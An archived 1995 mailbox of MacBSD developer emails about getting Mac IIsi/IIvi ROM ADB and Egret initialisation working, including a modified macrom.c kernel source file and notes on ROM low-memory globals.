Content-Length: 1512 *** EOOH *** Return-Path: From: Walter Ruetten Subject: Re: ADBReInit init To: magnus@mit.edu Date: Sun, 7 May 1995 16:40:58 +0200 (MET DST) In-Reply-To: <9505061840.AA04388@im2.lcs.mit.edu.lcs.mit.edu> from ""Daniel Risacher"" at May 6, 95 02:40:35 pm X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 1512 > > > Walter - > > I'm not sure if this was an inadvertent mistake or if it's important- > you wrote (quoted below) that you called the Egret init code with a0 > set to ADBBase. When I disassembled this routine (0x408147c4), I ooops, that should have been ADBState, which points to mrg_store2. Essentially this is a null operation because I load a0 from 0x0de0 (ADBState) and the routine stores is at the same place. I am not sure about allocating memory with the NewPtr function. Anyway, we already have the storage ready. Trying further, I got again into this infinite (well, quite infinite) loop of Egret traps (trapnum = 0x92). This morning I realised that the initialisation of ADBBase+0x0184 is missing in Brads code. This location is set to 0xff01 and form part of the first command sent via the Egret chip. Perhaps this changes something. hopefully, my Mac is busy compiling the new kernel. By the way, I will be on hollyday from 9 to 30 of march (to the southwest of ireland), so there may be a substatial delay in the answering of Emails. I recently gave an update of our current work to John (jpw@insoft.com). Did he already contact you? So long Walter -- EMail: walter@ghpc8.ihf.rwth-aachen.de | SnailMail: Walter Ruetten _o Turmstr. 190 Phone: ++49 241 807945 _`\\_<, 52064 Aachen Fax : ++49 241 8888213 (*)/'(*) Germany ""History --- an agreeable set of untruths"" -- Powhiri Rika-Heke  1,, Mail-from: From walter@ghpc8.ihf.rwth-aachen.de Mon May 8 03:45:48 1995 Return-Path: Received: from MIT.EDU (PACIFIC-CARRIER-ANNEX.MIT.EDU) by im.lcs.mit.edu (4.1/IM-1.2S) id AA09979; Mon, 8 May 95 03:45:36 EDT Received: from macbeth.ihf.RWTH-Aachen.DE by MIT.EDU with SMTP id AA20065; Mon, 8 May 95 03:45:17 EDT Received: (from walter@localhost) by macbeth.ihf.rwth-aachen.de (8.6.9/8.6.6) id JAA12983; Mon, 8 May 1995 09:44:42 +0200 From: Walter Ruetten Message-Id: <199505080744.JAA12983@macbeth.ihf.rwth-aachen.de> Subject: back from ADBReInit To: magnus@mit.edu Date: Mon, 8 May 1995 09:44:32 +0200 (MET DST) Cc: jpw@insoft.com, grantham@tenon.com X-Mailer: ELM [version 2.4 PL24] Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 18761 *** EOOH *** Return-Path: From: Walter Ruetten Subject: back from ADBReInit To: magnus@mit.edu Date: Mon, 8 May 1995 09:44:32 +0200 (MET DST) Cc: jpw@insoft.com, grantham@tenon.com X-Mailer: ELM [version 2.4 PL24] Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 18761 Hi Dan, John and Brad, hold your breath, yesterday I got through the ADBReInit routine on my MacIIvi, though there are some mysteries left. I took some of the initialization code from ADBReInit+0x0b0 (main problem was the missing init at ADBBase+0x184) into macrom.c (see below) and got through the ADBReInit code. My changes are all marked with a comment starting with WRU and a date (yymmdd). As the lvl1dt_panic() (from the table in low memory, 0x192) gets called every second from the Egret code, I patched the corresponding printf() to give only a colon (:), so don't panic when you see colons appearing on your screen, it only tells you that the Egret is alive. If there is no use for this interrupt, it should be replaced by a rts instruction. What remains unclear at the moment is why I only get through ADBReInit when compiling with MRG_DEBUG defined. Doing this gives about 100 to 200 aline supervisor traps to Egret (0x92) and finally several trap messages from CountADB etc. Give it some time, on my terminal this lasts around 30 seconds, on the nubus display around two minutes due to poor scrolling speed. After the 'Back from ADBReInit', it then list the keyboard and mouse, then hangs at grf0 init. Was there something broken in the grf.c of the current kernel around 4th of april, when I last supped the kernel ? Or is there still something wrong with the ADB stuff ? When compiling the modified macrom.c without MRG_DEBUG, the only thing I get is the colon every second from the timer tick, but after a minute, I still don't get the 'Back from ADBReInit'. Might this be a timing problem? The aline ... message takes some 10ms to print on the terminal, perhaps we need some delay before repeatedly calling the Egret trap? As I am away on holiday for three weeks from tomorrow, I just add my modified version of macrom.c to this Email. Perhaps you get a more stable version to run? Happy hacking, Walter (see below for code of macrom.c) -- EMail: walter@ghpc8.ihf.rwth-aachen.de | SnailMail: Walter Ruetten _o Turmstr. 190 Phone: ++49 241 807945 _`\\_<, 52064 Aachen Fax : ++49 241 8888213 (*)/'(*) Germany ""History --- an agreeable set of untruths"" -- Powhiri Rika-Heke -------- begin macrom.c (modified by Walter Ruetten, 07.may.1995) -------- /* $NetBSD: macrom.c,v 1.2 1995/03/26 18:10:23 briggs Exp $ */ /*- * Copyright (C) 1994 Bradley A. Grantham * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by Bradley A. Grantham. * 4. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * Mac ROM Glue * * This allows MacBSD to access (in a limited fashion) routines included * in the Mac ROMs, like ADBReInit. * * As a (fascinating) side effect, this glue allows ROM code (or any other * MacOS code) to call MacBSD kernel routines, like NewPtr. * * Uncleaned-up weirdness, 10/6/94 * Check mrg_setvectors for IIsi stuff, and generalize the Egret * (a092) trap. Right now, I'm hardcoding it to try and make the * IIsi work. -BG */ #include #include #include ""via.h"" #include ""macrom.h"" #include #include #include /* trap modifiers (put it macrom.h) */ #define TRAP_TOOLBOX(a) ((a) & 0x800) #define TRAP_PASSA0(a) ((a) & 0x100) #define TRAP_NUM(a) (TRAP_TOOLBOX(a) ? (a) & 0x3ff : (a) & 0xff) #define TRAP_SYS(a) ((a) & 0x400) #define TRAP_CLEAR(a) ((a) & 0x200) /* Mac Rom Glue global variables */ u_char mrg_adbstore[512]; /* ADB Storage - what size does this need to be? */ u_char mrg_adbstore2[512]; /* ADB Storage - what size does this need to be? */ u_char mrg_adbstore3[512]; /* ADB Storage - what size does this need to be? */ caddr_t mrg_romadbintr = (caddr_t)0x40807002; /* ROM ADB interrupt */ caddr_t mrg_rompmintr = 0; /* ROM PM (?) interrupt */ char *mrg_romident = NULL; /* identifying string for ROMs */ /* * Last straw functions; we didn't set them up, so freak out! * When someone sees these called, we can finally go back and * bother to implement them. */ void mrg_lvl1dtpanic() /* Lvl1DT stopper */ { printf("":""); /* WRU 950502 printf(""Agh! I was called from Lvl1DT!!!\\n""); */ /* WRU 950501 Debugger(); */ } void mrg_lvl2dtpanic() /* Lvl2DT stopper */ { printf(""Agh! I was called from Lvl2DT!!!\\n""); Debugger(); } void mrg_jadbprocpanic() /* JADBProc stopper */ {printf(""Agh! Called JADBProc!\\n""); Debugger(); } void mrg_jswapmmupanic() /* jSwapMMU stopper */ {printf(""Agh! Called jSwapMMU!\\n""); Debugger(); } void mrg_jkybdtaskpanic() /* JKybdTask stopper */ {printf(""Agh! Called JKybdTask!\\n""); Debugger(); } long mrg_adbintr() /* Call ROM ADB Interrupt */ { if(mrg_romadbintr != NULL) { #if defined(MRG_TRACE) tron(); #endif /* Gotta load a1 with VIA address. */ /* ADB int expects it from Mac intr routine. */ asm("" movml #0xffff, sp@- | better save all registers! movl %0, a0 movl _VIA, a1 jbsr a0@ movml sp@+, #0xffff"" /* better restore all registers! */ : : ""g"" (mrg_romadbintr)); #if defined(MRG_TRACE) troff(); #endif } return(1); } long mrg_pmintr() /* Call ROM PM Interrupt */ { if(mrg_rompmintr != NULL) { #if defined(MRG_TRACE) tron(); #endif /* Gotta load a1 with VIA address. */ /* ADB int expects it from Mac intr routine. */ asm("" movml #0xffff, sp@- | better save all registers! movl %0, a0 movl _VIA, a1 jbsr a0@ movml sp@+, #0xffff"" /* better restore all registers! */ : : ""g"" (mrg_rompmintr)); #if defined(MRG_TRACE) troff(); #endif } return(1); } void mrg_notrap() { printf(""Aigh!\\n""); panic(""We're doomed!\\n""); } int myowntrap() { printf(""Oooo! My Own Trap Routine!\\n""); return(50); } int mrg_NewPtr() { int result = noErr; u_int numbytes; u_long trapword; caddr_t ptr; asm("" movl d1, %0 movl d0, %1"" : ""=g"" (trapword), ""=g"" (numbytes)); #if defined(MRG_SHOWTRAPS) printf(""mrg: NewPtr(%d bytes, %sclear, %ssys)"", numbytes, TRAP_SYS(trapword) ? """" : ""no "", TRAP_CLEAR(trapword) ? """" : ""no ""); #endif /* plus 4 for size */ ptr = malloc(numbytes + 4 , M_DEVBUF, M_NOWAIT); /* ?? */ /* We ignore ""Sys;"" where else would it come from? */ /* plus, (I think), malloc clears block for us */ if(ptr == NULL){ result = memFullErr; #if defined(MRG_SHOWTRAPS) printf("" failed.\\n""); #endif }else{ #if defined(MRG_SHOWTRAPS) printf("" succeded = %x.\\n"", ptr); #endif *(u_long *)ptr = numbytes; ptr += 4; } asm("" movl %0, a0"" : : ""g"" (ptr)); return(result); } int mrg_DisposPtr() { int result = noErr; caddr_t ptr; asm("" movl a0, %0"" : ""=g"" (ptr)); #if defined(MRG_SHOWTRAPS) printf(""mrg: DisposPtr(%x)\\n"", ptr); #endif if(ptr == 0){ result = memWZErr; }else{ free(ptr - 4, M_DEVBUF); } return(result); } int mrg_GetPtrSize() { int result = noErr; caddr_t ptr; asm("" movl a0, %0"" : ""=g"" (ptr)); #if defined(MRG_SHOWTRAPS) printf(""mrg: GetPtrSize(%x)\\n"", ptr); #endif if(ptr == 0){ return(memWZErr); }else return(*(int *)(ptr - 4)); } int mrg_SetPtrSize() { int result = noErr; caddr_t ptr; int newbytes; asm("" movl a1, %0 movl d0, %1"" : ""=g"" (ptr), ""=g"" (newbytes)); #if defined(MRG_SHOWTRAPS) printf(""mrg: SetPtrSize(%x, %d) failed\\n"", ptr, newbytes); #endif return(memFullErr); /* How would I handle this, anyway? */ } /* trap jump address tables (different per machine?) */ /* Can I just use the tables stored in the ROMs? */ /* *Is* there a table stored in the ROMs? */ /* (BTW, this table is initialized for Mac II.) */ caddr_t mrg_OStraps[256] = { /* God, I love gcc. see GCC2 manual, section 2.17, */ /* ""labeled elements in initializers."" */ [0x1e] (caddr_t)mrg_NewPtr, (caddr_t)mrg_DisposPtr, (caddr_t)mrg_SetPtrSize, (caddr_t)mrg_GetPtrSize, [0x77] (caddr_t)0x40807778, /* CountADBs */ (caddr_t)0x40807792, /* GetIndADB */ (caddr_t)0x408077be, /* GetADBInfo */ (caddr_t)0x408077c4, /* SetADBInfo */ (caddr_t)0x40807704, /* ADBReInit */ (caddr_t)0x408072fa, /* ADBOp */ [0x85] 0, /* PMgrOp (not on II) */ [0x92] (caddr_t)0x40814800, /* Egret */ }; caddr_t mrg_ToolBoxtraps[1024] = { [0x1a0] (caddr_t)mrg_GetResource, [0x1af] (caddr_t)mrg_ResError, }; /* handle a supervisor mode A-line trap */ void mrg_aline_super(struct frame *frame) { caddr_t trapaddr; u_short trapword; int isOStrap; int trapnum; int a0passback; u_long a0bucket, d0bucket; #if defined(MRG_DEBUG) printf(""mrg: a super""); #endif trapword = *(u_short *)frame->f_pc; #if defined(MRG_DEBUG) printf("" wd 0x%x"", trapword); #endif isOStrap = ! TRAP_TOOLBOX(trapword); trapnum = TRAP_NUM(trapword); #if defined(MRG_DEBUG) printf("" %s # 0x%x"", isOStrap? ""OS"" : ""ToolBox"", trapnum); #endif /* Only OS Traps come to us; _alinetrap takes care of ToolBox traps, which are a horrible Frankenstein-esque abomination. */ trapaddr = mrg_OStraps[trapnum]; #if defined(MRG_DEBUG) printf("" addr 0x%x\\n"", trapaddr); /* WRU 950506 */ /* if (trapnum == 0x7b) Debugger(); if (trapnum == 0x92) printf("" a0 = 0x%x\\n"", frame->f_regs[8]); */ #endif if(trapaddr == NULL){ printf(""unknown %s trap 0x%x, no trap address available\\n"", isOStrap ? ""OS"" : ""ToolBox"", trapword); panic(""mrg_aline_super()""); } a0passback = TRAP_PASSA0(trapword); #if defined(MRG_TRACE) tron(); #endif /* WRU 950411 */ /* Debugger(); */ /* put trapword in d1 */ /* put trapaddr in a1 */ /* put a0 in a0 */ /* put d0 in d0 */ /* save a6 */ /* call the damn routine */ /* restore a6 */ /* store d0 in d0bucket */ /* store a0 in d0bucket */ /* This will change a1,d1,d0,a0 and possibly a6 */ asm("" movl %2, a1 movw %3, d1 movl %4, d0 movl %5, a0 jbsr a1@ movl a0, %0 movl d0, %1"" : ""=g"" (a0bucket), ""=g"" (d0bucket) : ""g"" (trapaddr), ""g"" (trapword), ""m"" (frame->f_regs[0]), ""m"" (frame->f_regs[8]) : ""d0"", ""d1"", ""a0"", ""a1"", ""a6"" ); #if defined(MRG_TRACE) troff(); #endif #if defined(MRG_DEBUG) printf("" bk""); #endif frame->f_regs[0] = d0bucket; if(a0passback) frame->f_regs[8] = a0bucket; frame->f_pc += 2; /* skip offending instruction */ #if defined(MRG_DEBUG) printf("" exit\\n""); #endif } /* handle a user mode A-line trap */ void mrg_aline_user() { #if 1 /* send process a SIGILL; aline traps are illegal as yet */ #else /* how to handle real Mac App A-lines */ /* ignore for now */ I have no idea! maybe pass SIGALINE? maybe put global information about aline trap? #endif } extern u_long traceloopstart[]; extern u_long traceloopend; extern u_long *traceloopptr; void dumptrace( void) { #if defined(MRG_TRACE) u_long *traceindex; printf(""instruction trace:\\n""); traceindex = traceloopptr + 1; while(traceindex != traceloopptr) { printf("" %08x\\n"", *traceindex++); if(traceindex == &traceloopend) traceindex = &traceloopstart[0]; } #else printf(""mrg: no trace functionality enabled\\n""); #endif } /* Set ROM Vectors */ void mrg_setvectors( romvec_t *rom) { if(rom == NULL) return; /* whoops! ROM vectors not defined! */ mrg_romident = rom->romident; mrg_romadbintr = rom->adbintr; mrg_rompmintr = rom->pmintr; /* mrg_adbstore becomes ADBBase */ *((unsigned long *)(mrg_adbstore + 0x130)) = (unsigned long)rom->adb130intr; /* WRU 950424: BEGIN */ /* in MacIIvi otherwise uninitialized when ADBReInit() runs */ { int i; *((unsigned long *)(0x0dd0)) = 0x0000773f; /* Egret and ADBReInit look into these */ *((unsigned long *)(0x0dd4)) = 0x000001a6; for (i=0; i<4; i++) /* some basic inits */ *((unsigned long *)(0x174 + 4*i)) = 0; *((unsigned short *)(0x216)) = 0; /* *((unsigned long *)(0x21a)) = 0x4080aa82; JKbdTask */ /* *((unsigned char *)(0x21e)) = 0; KdbType */ *((unsigned short *)(mrg_adbstore + 0x184)) = 0xff01; } /* WRU 950424: end */ /* IIsi crap */ *((unsigned long *)(mrg_adbstore + 0x180)) = 0x4081517c; *((unsigned long *)(mrg_adbstore + 0x194)) = 0x408151ea; jEgret = 0x40814800; mrg_OStraps[0x77] = rom->CountADBs; mrg_OStraps[0x78] = rom->GetIndADB; mrg_OStraps[0x79] = rom->GetADBInfo; mrg_OStraps[0x7a] = rom->SetADBInfo; mrg_OStraps[0x7b] = rom->ADBReInit; mrg_OStraps[0x7c] = rom->ADBOp; mrg_OStraps[0x85] = rom->PMgrOp; mrg_OStraps[0x51] = rom->ReadXPRam; #if defined(MRG_DEBUG) printf(""mrg: ROM adbintr 0x%08x\\n"", mrg_romadbintr); printf(""mrg: ROM pmintr 0x%08x\\n"", mrg_rompmintr); printf(""mrg: OS trap 0x77 (CountADBs) = 0x%08x\\n"", mrg_OStraps[0x77]); printf(""mrg: OS trap 0x78 (GetIndADB) = 0x%08x\\n"", mrg_OStraps[0x78]); printf(""mrg: OS trap 0x79 (GetADBInfo) = 0x%08x\\n"", mrg_OStraps[0x79]); printf(""mrg: OS trap 0x7a (SetADBInfo) = 0x%08x\\n"", mrg_OStraps[0x7a]); printf(""mrg: OS trap 0x7b (ADBReInit) = 0x%08x\\n"", mrg_OStraps[0x7b]); printf(""mrg: OS trap 0x7c (ADBOp) = 0x%08x\\n"", mrg_OStraps[0x7c]); printf(""mrg: OS trap 0x85 (PMgrOp) = 0x%08x\\n"", mrg_OStraps[0x85]); #endif } /* To find out if we're okay calling ROM vectors */ int mrg_romready( void) { return(mrg_romident != NULL); } extern unsigned long IOBase; extern volatile unsigned char *sccA; /* initialize Mac ROM Glue */ void mrg_init() { int i; char *findername = ""MacBSD FakeFinder""; caddr_t ptr; caddr_t *handle; int sizeptr; extern short mrg_ResErr; if(mrg_romready()){ printf(""mrg: '%s' rom glue"", mrg_romident); #if defined(MRG_TRACE) #if defined(MRG_FOLLOW) printf("", tracing on (verbose)""); #else /* ! defined (MRG_FOLLOW) */ printf("", tracing on (silent)""); #endif /* defined(MRG_FOLLOW) */ #else /* !defined(MRG_TRACE) */ printf("", tracing off""); #endif /* defined(MRG_TRACE) */ #if defined(MRG_DEBUG) printf("", debug on""); #else /* !defined(MRG_DEBUG) */ printf("", debug off""); #endif /* defined(MRG_DEBUG) */ #if defined(MRG_SHOWTRAPS) printf("", verbose traps""); #else /* !defined(MRG_SHOWTRAPS) */ printf("", silent traps""); #endif /* defined(MRG_SHOWTRAPS) */ }else{ printf(""mrg: kernel has no ROM vectors for this machine!\\n""); return; } printf(""\\n""); #if defined(MRG_DEBUG) printf(""mrg: start init\\n""); #endif /* expected globals */ ADBBase = &mrg_adbstore[0]; ADBState = &mrg_adbstore2[0]; ADBYMM = &mrg_adbstore3[0]; MinusOne = 0xffffffff; Lo3Bytes = 0x00ffffff; VIA = (caddr_t)Via1Base; MMU32Bit = 1; /* ?means MMU is in 32 bit mode? */ if(TimeDBRA == 0) TimeDBRA = 0xa3b; /* BARF default is Mac II */ if(ROMBase == 0) ROMBase = (caddr_t)0x40800000; /* BARF default is Mac II */ strcpy(&FinderName[1], findername); FinderName[0] = (u_char) strlen(findername); #if defined(MRG_DEBUG) printf(""After setting globals\\n""); #endif /* Fake jump points */ for(i = 0; i < 8; i++) /* Set up fake Lvl1DT */ Lvl1DT[i] = mrg_lvl1dtpanic; for(i = 0; i < 8; i++) /* Set up fake Lvl2DT */ Lvl2DT[i] = mrg_lvl2dtpanic; Lvl1DT[2] = (void (*)())mrg_romadbintr; Lvl1DT[4] = (void (*)())mrg_rompmintr; JADBProc = mrg_jadbprocpanic; /* Fake JADBProc for the time being */ jSwapMMU = mrg_jswapmmupanic; /* Fake jSwapMMU for the time being */ JKybdTask = mrg_jkybdtaskpanic; /* Fake jSwapMMU for the time being */ jADBOp = (void (*)())mrg_OStraps[0x7c]; /* probably very dangerous */ mrg_VIA2 = (caddr_t)(Via1Base + VIA2 * 0x2000); /* see via.h */ SCCRd = (caddr_t)(IOBase + sccA); /* ser.c ; we run before serinit */ switch(mach_cputype()){ case MACH_68020: CPUFlag = 2; break; case MACH_68030: CPUFlag = 3; break; case MACH_68040: CPUFlag = 4; break; default: printf(""mrg: unknown CPU type; cannot set CPUFlag\\n""); break; } #if defined(MRG_TEST) printf(""Allocating a pointer...\\n""); ptr = (caddr_t)NewPtr(1024); printf(""Result is 0x%x.\\n"", ptr); sizeptr = GetPtrSize((Ptr)ptr); printf(""Pointer size is %d\\n"", sizeptr); printf(""Freeing the pointer...\\n""); DisposPtr((Ptr)ptr); printf(""Free'd.\\n""); for(i = 0; i < 500000; i++) if((i % 100000) == 0)printf("".""); printf(""\\n""); mrg_ResErr = 0xdead; /* set an error we know */ printf(""Getting error code...\\n""); i = ResError(); printf(""Result code (0xdeadbaaf): %x\\n"", i); printf(""Getting a Resource...\\n""); handle = GetResource('ADBS', 2); printf(""Handle result from GetResource: 0x%x\\n"", handle); printf(""Getting error code...\\n""); i = ResError(); printf(""Result code (-192?) : %d\\n"", i); for(i = 0; i < 500000; i++) if((i % 100000) == 0)printf("".""); printf(""\\n""); #if defined(MRG_TRACE) printf(""Turning on a trace\\n""); tron(); printf(""We are now tracing\\n""); troff(); printf(""Turning off trace\\n""); dumptrace(); #endif /* MRG_TRACE */ for(i = 0; i < 500000; i++) if((i % 100000) == 0)printf("".""); printf(""\\n""); #endif /* MRG_TEST */ #if defined(MRG_DEBUG) printf(""after setting jump points\\n""); printf(""mrg: end init\\n""); #endif } void mrg_initadbintr() { int i; /* WRU 950501 via_reg(VIA1, vIFR) = 0x4; */ if(current_mac_model->class == MACH_CLASSII) via_reg(VIA1, vIER) = 0x84; /* enable ADB interrupt on IIs. */ if(current_mac_model->class == MACH_CLASSIIsi) { /* WRU 950502 */ /* Debugger(); */ /* call init for ADBState */ asm("" movml a0-a2, sp@- movl 0x0de0, a0 jbsr 0x408147c4 movml sp@+, a0-a2 ""); } } -------- end macrom.c (modified by Walter Ruetten, 07.may.1995) --------  1, filed,, Summary-line: 8-May macbsd-general@netbsd.org #IIsi/IIvi/IIvx/? test kernel Mail-from: From owner-macbsd-general@netbsd.org Wed May 10 16:44:10 1995 Return-Path: Received: from MIT.EDU (PACIFIC-CARRIER-ANNEX.MIT.EDU) by im.lcs.mit.edu (4.1/IM-1.2S) id AA16186; Wed, 10 May 95 16:44:04 EDT Received: from pain.lcs.mit.edu by MIT.EDU with SMTP id AA06578; Wed, 10 May 95 16:43:56 EDT Received: (from daemon@localhost) by pain.lcs.mit.edu (8.6.9/8.6.9) id XAA01044; Tue, 9 May 1995 23:15:34 -0400 Received: from im2.lcs.mit.edu.lcs.mit.edu by pain.lcs.mit.edu (8.6.9/8.6.9) with SMTP id XAA01035; Tue, 9 May 1995 23:15:09 -0400 Received: by im2.lcs.mit.edu (4.1/IM-1.2S) id AA06956; Mon, 8 May 95 22:57:37 EDT Date: Mon, 8 May 95 22:57:37 EDT From: magnus@im.lcs.mit.edu (Daniel Risacher) Message-Id: <9505090257.AA06956@im2.lcs.mit.edu.lcs.mit.edu> To: macbsd-general@netbsd.org, macbsd-development@netbsd.org Subject: IIsi/IIvi/IIvx/? test kernel Reply-To: magnus@mit.edu Sender: owner-macbsd-general@netbsd.org Precedence: list X-Loop: macbsd-general@NetBSD.ORG *** EOOH *** Return-Path: Date: Mon, 8 May 95 22:57:37 EDT From: magnus@im.lcs.mit.edu (Daniel Risacher) To: macbsd-general@netbsd.org, macbsd-development@netbsd.org Subject: IIsi/IIvi/IIvx/? test kernel Reply-To: magnus@mit.edu Sender: owner-macbsd-general@netbsd.org Precedence: list X-Loop: macbsd-general@NetBSD.ORG I am pleased to announce that my IIsi boots successfully with it's own extended ADB keyboard and internal video. Walter Ruetten and I, amoung others, have been working on this for some time. Walter has made a strategic breakthrough, but I have the joy of seeing it finally work. Walter got it through ADBReInit, but there were still some really wierd bugs. Today I kludged it until it was useful, but the code is still very gross and I don't really know why it works exactly. More work is required. It prints an extra half page of wierd debugging messages while booting, but it works ok after that. But, for those of you who want a working kernel on a IIsi-type machine, please try : ftp://im.lcs.mit.edu/magnus/netbsd.950508 and let me know if you have any success. This probably will help IIsi's & IIvi's, as well as IIvx, and any other machine with ROMs similar to the IIsi. It will probably NOT work on other machines. If you know your ROMs aren't like the IIsi, it's probably not worth the effort. - Daniel Risacher PS: Since I really have to start working on my classes, and Walter is going on vacation, we probably won't work on this stuff for a little while. If anyone else wants to look at it, the file: ftp://im.lcs.mit.edu/magnus/macrom.c has all the key changes. You need to compile with MRG_DEBUG defined for it to work, and there are some print statements in adb_complete() in adbsys.c which should be commented out.  1,, Summary-line: 7-Jun jpw@insoft.com #Low level ADB/ROM stuff Mail-from: From jpw@insoft.com Wed Jun 7 09:42:22 1995 Return-Path: Received: from MIT.EDU (PACIFIC-CARRIER-ANNEX.MIT.EDU) by im.lcs.mit.edu (4.1/IM-1.2S) id AA02648; Wed, 7 Jun 95 09:41:58 EDT Received: from uu7.psi.com by MIT.EDU with SMTP id AA05204; Wed, 7 Jun 95 09:41:59 EDT Received: by uu7.psi.com (5.65b/4.0.940727-PSI/PSINet) via UUCP; id AA25326 for ; Wed, 7 Jun 95 09:32:14 -0400 Received: from snake by insoft.com (4.1/InSoftMail-1.4) id AA16047; Wed, 7 Jun 95 09:23:04 EDT From: John P. Wittkoski Message-Id: <9506071323.AA16047@insoft.com> Received: by snake (1.37.109.4/MailPunt-1.1) id AA02993; Wed, 7 Jun 95 09:20:49 -0400 Subject: Low level ADB/ROM stuff To: magnus@mit.edu, walter@ghpc8.ihf.rwth-aachen.de Date: Wed, 7 Jun 95 9:20:49 EDT Cc: briggs@mail.vt.edu, grantham@tenon.com Mailer: Elm [revision: 70.85] *** EOOH *** Return-Path: From: John P. Wittkoski Subject: Low level ADB/ROM stuff To: magnus@mit.edu, walter@ghpc8.ihf.rwth-aachen.de Date: Wed, 7 Jun 95 9:20:49 EDT Cc: briggs@mail.vt.edu, grantham@tenon.com Mailer: Elm [revision: 70.85] Walter and Dan (and Allen and Brad, too), I have been poking around in the lower levels of the ROMs and have found some information which may be useful. The _Egret routine requires some low memory global to be set, as we well know. Although right now these are set up by that direct call from the setup routines, I thought a ""cleaner"" setup might be nicer. After going through and commenting almost all of the _Egret routine in ROM, I am getting a better understanding of how the whole thing works. Here are the low level globals that are used by _Egret: 0x19A Normally contains pointer to the ""process next byte"" section of the code. This is called repeatedly after the initial ADB command is sent. Normally (always?) this is set to point to _Egret+0x112. 0x648 Points to the routine that actually send the ADB command to the hardware. Normally (always?) this is set to point to _Egret. This must be set because parts of the _Egret routine or the ADBOp code reference this. 0xCEA This (word value) stores a delay value for use when toggling the vPB4 bits to ACK a byte to the ADB chip. Its value is divided by 8 to obtain the delay value. On a 20MHz IIsi it is usually 0x30D. 0xDE0 This is a pointer to storage space for the command that _Egret is currently working on. The storage space needs to be at least 0x34 bytes long, but I have not exhaustively verified this. The space itself looks like it does not need to be initialized any special way before calling _Egret. 0xB22 This is HwCfgFlags. If bit 6 is set, it means the machine has a newer style RTC chip. (Newer being newer that a 128K Mac). This must be set for the RTC based commands to work. 0xDD4 This is something like HwCfgFlags. It is not used for the ADB commands themselves, but it used by the _WriteXPram, _ReadXPram, _GetDateTime, and _SetDateTime functions. If (0xDD4) & 0x70 = 0x20, then the RTC commands use modified ADB commands instead of the older RTC serial interface. And I have verified that all the old RTC commands now use modified ADB commands. I am in the process of mapping out how to access all the different RTC functions and how to encode them properly. My first happy discovery is sending 0x01 0x03 to the ADB chip returns the current clock value (i.e. from the clock chip itself, seconds since 1904) This can be used to set the kernel's clock setting at boot time. Note that this is _NOT_ a command you send using ADBOp. ADBOp calls Egret for ADB commands. All the RTC commands (_WriteXPram, _ReadXPram, _GetDateTime, _SetDateTime) call the Egret routine directly, they do not call ADBOp. I have also been working on the code that Walter sent about writing to the ADB chip directly. I now have a reliable routines that can read and write to the ADB chip on a IIsi machine without going though the ROMS. I need to clean them up a little however before they are finished. It would not be too difficult to mimic the ROM style ADB routines such as ADBOp, etc and make them call these routines. I do not know if this (direct ADB) is the way to go, since the MRG stuff is basically working, but I have been enjoying learning how the whole thing works regardless. I plan on putting this code up somewhere soon so it is accessable to those who are interested. I will let you know when and where. --John -- -------------------------------------------------------------- John Wittkoski InSoft, Inc. Senior Systems Engineer Phone: (717) 730-9501 Email: jpw@insoft.com Fax : (717) 730-9504 --------------------------------------------------------------  1,, Summary-line: 14-Jun walter@ghpc8.ihf.rwth-aac #Changes to macrom.c Mail-from: From walter@ghpc8.ihf.rwth-aachen.de Wed Jun 14 03:29:16 1995 Return-Path: Received: from MIT.EDU (PACIFIC-CARRIER-ANNEX.MIT.EDU) by im.lcs.mit.edu (4.1/IM-1.2S) id AA01603; Wed, 14 Jun 95 03:29:00 EDT Received: from ghpc6.ihf.RWTH-Aachen.DE by MIT.EDU with SMTP id AA06737; Wed, 14 Jun 95 03:28:34 EDT Received: (from walter@localhost) by ghpc6.ihf.rwth-aachen.de (8.6.8/8.6.6) id JAA00918; Wed, 14 Jun 1995 09:27:15 +0200 From: Walter Ruetten Message-Id: <199506140727.JAA00918@ghpc6.ihf.rwth-aachen.de> Subject: Changes to macrom.c To: briggs@puma.bevd.blacksburg.va.us (Allen Briggs) Date: Wed, 14 Jun 1995 09:27:15 +0200 (MET DST) Cc: magnus@mit.edu In-Reply-To: <199506091344.JAA04245@puma.bevd.blacksburg.va.us> from ""Allen Briggs"" at Jun 9, 95 09:44:39 am X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 20308 *** EOOH *** Return-Path: From: Walter Ruetten Subject: Changes to macrom.c To: briggs@puma.bevd.blacksburg.va.us (Allen Briggs) Date: Wed, 14 Jun 1995 09:27:15 +0200 (MET DST) Cc: magnus@mit.edu In-Reply-To: <199506091344.JAA04245@puma.bevd.blacksburg.va.us> from ""Allen Briggs"" at Jun 9, 95 09:44:39 am X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit 